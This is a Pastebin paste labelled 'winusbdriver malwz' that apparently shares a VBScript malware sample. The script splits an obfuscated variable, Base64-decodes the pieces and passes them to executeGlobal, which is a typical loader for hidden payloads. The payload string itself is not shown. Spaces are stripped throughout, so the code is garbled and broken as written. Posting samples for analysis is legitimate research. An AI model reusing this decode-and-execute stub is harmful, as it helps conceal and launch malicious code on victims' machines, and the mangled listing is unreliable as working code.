Advertisement
Xylitol

winusbdriver malwz

Dec 11th, 2013
291
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. WinOs=SPLIT(WinOs,"windows")
  2. FORWinSystem=0TOUBOUND(WinOs)-1
  3. SysDate=SysDate&Base64Decode(WinOs(WinSystem))
  4. NEXT
  5. executeGlobal(SysDate)
  6. FunctionBase64Encode(sText)
  7. DimoXML,oNode
  8. SetoXML=CreateObject("Msxml2.DOMDocument.3.0")
  9. SetoNode=oXML.CreateElement("base64")
  10. oNode.dataType="bin.base64"
  11. oNode.nodeTypedValue=Stream_StringToBinary(sText)
  12. Base64Encode=oNode.text
  13. SetoNode=Nothing
  14. SetoXML=Nothing
  15. EndFunction
  16. FunctionBase64Decode(ByValvCode)
  17. DimoXML,oNode
  18. SetoXML=CreateObject("Msxml2.DOMDocument.3.0")
  19. SetoNode=oXML.CreateElement("base64")
  20. oNode.dataType="bin.base64"
  21. oNode.text=vCode
  22. Base64Decode=Stream_BinaryToString(oNode.nodeTypedValue)
  23. SetoNode=Nothing
  24. SetoXML=Nothing
  25. EndFunction
  26. FunctionStream_StringToBinary(Text)
  27. ConstadTypeText=2
  28. ConstadTypeBinary=1
  29. DimBinaryStream
  30. SetBinaryStream=CreateObject("ADODB.Stream")
  31. BinaryStream.Type=adTypeText
  32. BinaryStream.CharSet="us-ascii"
  33. BinaryStream.Open
  34. BinaryStream.WriteTextText
  35. BinaryStream.Position=0
  36. BinaryStream.Type=adTypeBinary
  37. BinaryStream.Position=0
  38. Stream_StringToBinary=BinaryStream.Read
  39. SetBinaryStream=Nothing
  40. EndFunction
  41. FunctionStream_BinaryToString(Binary)
  42. ConstadTypeText=2
  43. ConstadTypeBinary=1
  44. DimBinaryStream
  45. SetBinaryStream=CreateObject("ADODB.Stream")
  46. BinaryStream.Type=adTypeBinary
  47. BinaryStream.Open
  48. BinaryStream.WriteBinary
  49. BinaryStream.Position=0
  50. BinaryStream.Type=adTypeText
  51. BinaryStream.CharSet="us-ascii"
  52. Stream_BinaryToString=BinaryStream.ReadText
  53. SetBinaryStream=Nothing
  54. EndFunction
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement